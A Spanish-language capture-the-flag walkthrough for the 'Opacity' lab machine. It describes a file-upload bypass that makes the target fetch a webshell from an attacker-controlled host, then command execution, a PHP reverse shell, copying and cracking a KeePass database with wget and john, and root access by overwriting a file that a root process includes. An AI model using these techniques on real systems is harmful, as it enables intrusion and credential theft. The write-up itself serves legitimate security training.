Opacity
En esta maquina tendremos que bypassear la subida de archivos, para poder subir nuestra webshell para ejecutar comandos y luego tener una shell de la maquina victima. Luego tendremos que crackear la contraseña de keepass para iniciar sesión como ssh

Link opacity
Walkthrough
Enumeración
Iniciamos realizando un escaneo con nmap
nmap reporta los puertos abiertos, de los cuales enumeraremos los servicios que se ejecutan por estos puertos
Puerto 80
Vamos a enumerar el puerto 80 en el cual encontraremos una panel de login, intentamos realizar una injección sql, pero no dio resultado

Después de intentar realizar inyección SQL, realizaremos el desubrimiento de los directorios del sitio web del puerto 80. Haciendo uso de la herramienta wfuzz pasaremos a la enumeracion de los directorios del sitio web
La herramienta nos reporta que existe un directorio cloud por lo que vamos a revisarlo. El sitio web nos muestra un panel donde al parecer nos deja almacenar una imagen

Si no se tiene los cuidados necesarios al gestionar la subida de archivos al servidor, este puede ser vulnerable a que se suba un archivo malicioso
Explotación
En Hacktricks podemos observar las maneras que podemos bypasear algunos filtros para subir una shell y acceder al servidor
Creamos un archivo shell.php
Ahora iniciamos un servidor en python, tu lo puedes hacer en lo que desees
Ponemos el link http://[IP-ATTACKER]/shell.php#.png, la # hará que todo lo que esta después no lo cuente como un carácter nulo

Despues de subir, visitamos la direccion del sitio donde almacena el archivo
En el sitio web, visitamos http://[IP-VICTIM]/cloud/images/shell.php?cmd=whoami#.png agreagando un parametro que en este caso es whoami y podemos observara que tenemos respuesta del lado del servidor para ejecutar comandos

Por alguna razon no puede usar el metodo para enviarme un reverse shell, por lo que usare una en php que lo podemos encotrar en nuestra maquina si usamos kali linux

Cambiamos la direccion ip y el puerto a la de nuestra maquina atacante y el puerto donde inicamos ncat a la escucha

Realizamos el mismo procedimiento que se hizo anteriormente. Iniciamos un servidor en python ❯ python3 -m http.server 80 luego le pasamos el link al servidor http://[IP-ATTACKER]/php-reverse-shell.php#.png y subimos nuestra revershell en php
Escalada de privilegios
Usuario - www-data
Si lo hicimos bien obtendremos una shell como el usario www-data

Enumerando el sistema encontraremos un archivo dataset.kdbx el cual es un archivo de credenciales que usa keepass

Para traernos a nuestra maquina atacante podemos hacer uso de python
Iniciamos un servidor en python en la maquina victima
www-data@opacity:/opt$ python3 -m http.server 8080Con
wgetdescargamos el archivo❯ wget http://[IP-VICTIM]:8080/dataset.kdbx
Para obtener la contraseña de inicio del keepass haremos uso de keepass2john
Para luego crackearla con john

Obtenemos la credencial para ingresar al keepass

Una vez ingresado, encontraremos unas credenciales para el usuario sysadmin
Usuario - sysadmin
Iniciamos sesión como el el usuario sysadmin por ssh. enumerando los procesos del sistema encontraremos que el usuario root UID=0 ejecuta un comando por lo que podemos inyectar algún comando

investigando el script tenemos lo siguiente
En esta parte del código require_once('lib/backup.inc.php'); podemos inyectar algún comando.

Eliminamos el archivo ./scripts/lib/backup.inc.php para crearnos nuestro propia archivo.
El código que pondremos es lo siguiente:
Ponemos a la escucha ncat y esperamos a que se ejecute el comando
Usuario - root

¡VAMOS! Happy Hacking :)
Last updated